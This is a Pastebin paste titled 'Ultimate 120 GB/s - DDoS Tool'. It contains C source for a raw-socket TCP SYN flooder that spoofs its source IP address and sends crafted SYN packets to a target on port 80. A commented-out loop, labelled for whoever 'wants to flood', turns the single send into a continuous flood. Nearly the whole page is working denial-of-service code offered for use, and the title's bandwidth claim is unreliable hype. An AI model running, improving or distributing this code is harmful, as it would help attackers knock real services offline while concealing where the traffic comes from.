Advertisement
Guest User

Ultimate 120 GB/s - DDoS Tool

a guest
Feb 1st, 2015
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.09 KB | None | 0 0
  1. #include<stdio.h>
  2. #include<string.h> //memset
  3. #include<sys/socket.h>
  4. #include<stdlib.h> //for exit(0);
  5. #include<errno.h> //For errno - the error number
  6. #include<netinet/tcp.h>   //Provides declarations for tcp header
  7. #include<netinet/ip.h>    //Provides declarations for ip header
  8.  
  9. struct pseudo_header    //needed for checksum calculation
  10. {
  11.     unsigned int source_address;
  12.     unsigned int dest_address;
  13.     unsigned char placeholder;
  14.     unsigned char protocol;
  15.     unsigned short tcp_length;
  16.      
  17.     struct tcphdr tcp;
  18. };
  19.  
  20. unsigned short csum(unsigned short *ptr,int nbytes) {
  21.     register long sum;
  22.     unsigned short oddbyte;
  23.     register short answer;
  24.  
  25.     sum=0;
  26.     while(nbytes>1) {
  27.         sum+=*ptr++;
  28.         nbytes-=2;
  29.     }
  30.     if(nbytes==1) {
  31.         oddbyte=0;
  32.         *((u_char*)&oddbyte)=*(u_char*)ptr;
  33.         sum+=oddbyte;
  34.     }
  35.  
  36.     sum = (sum>>16)+(sum & 0xffff);
  37.     sum = sum + (sum>>16);
  38.     answer=(short)~sum;
  39.      
  40.     return(answer);
  41. }
  42.  
  43. int main (void)
  44. {
  45.     //Create a raw socket
  46.     int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
  47.     //Datagram to represent the packet
  48.     char datagram[4096] , source_ip[32];
  49.     //IP header
  50.     struct iphdr *iph = (struct iphdr *) datagram;
  51.     //TCP header
  52.     struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
  53.     struct sockaddr_in sin;
  54.     struct pseudo_header psh;
  55.      
  56.     strcpy(source_ip , "192.168.1.2");
  57.    
  58.     sin.sin_family = AF_INET;
  59.     sin.sin_port = htons(80);
  60.     sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
  61.      
  62.     memset (datagram, 0, 4096); /* zero out the buffer */
  63.      
  64.     //Fill in the IP Header
  65.     iph->ihl = 5;
  66.     iph->version = 4;
  67.     iph->tos = 0;
  68.     iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
  69.     iph->id = htons(54321);  //Id of this packet
  70.     iph->frag_off = 0;
  71.     iph->ttl = 255;
  72.     iph->protocol = IPPROTO_TCP;
  73.     iph->check = 0;      //Set to 0 before calculating checksum
  74.     iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
  75.     iph->daddr = sin.sin_addr.s_addr;
  76.      
  77.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  78.      
  79.     //TCP Header
  80.     tcph->source = htons (1234);
  81.     tcph->dest = htons (80);
  82.     tcph->seq = 0;
  83.     tcph->ack_seq = 0;
  84.     tcph->doff = 5;      /* first and only tcp segment */
  85.     tcph->fin=0;
  86.     tcph->syn=1;
  87.     tcph->rst=0;
  88.     tcph->psh=0;
  89.     tcph->ack=0;
  90.     tcph->urg=0;
  91.     tcph->window = htons (5840); /* maximum allowed window size */
  92.     tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
  93.                 should fill in the correct checksum during transmission */
  94.     tcph->urg_ptr = 0;
  95.     //Now the IP checksum
  96.      
  97.     psh.source_address = inet_addr( source_ip );
  98.     psh.dest_address = sin.sin_addr.s_addr;
  99.     psh.placeholder = 0;
  100.     psh.protocol = IPPROTO_TCP;
  101.     psh.tcp_length = htons(20);
  102.      
  103.     memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
  104.      
  105.     tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
  106.      
  107.     //IP_HDRINCL to tell the kernel that headers are included in the packet
  108.     int one = 1;
  109.     const int *val = &one;
  110.     if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
  111.     {
  112.         printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
  113.         exit(0);
  114.     }
  115.      
  116.     //Uncommend the loop if you want to flood :)
  117.     //while (1)
  118.     //{
  119.         //Send the packet
  120.         if (sendto (s,      /* our socket */
  121.                     datagram,   /* the buffer containing headers and data */
  122.                     iph->tot_len,    /* total length of our datagram */
  123.                     0,      /* routing flags, normally always 0 */
  124.                     (struct sockaddr *) &sin,   /* socket addr, just like in */
  125.                     sizeof (sin)) < 0)       /* a normal send() */
  126.         {
  127.             printf ("error\n");
  128.         }
  129.         //Data send successfully
  130.         else
  131.         {
  132.             printf ("Packet Send \n");
  133.         }
  134.     //}
  135.      return 0;
  136. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement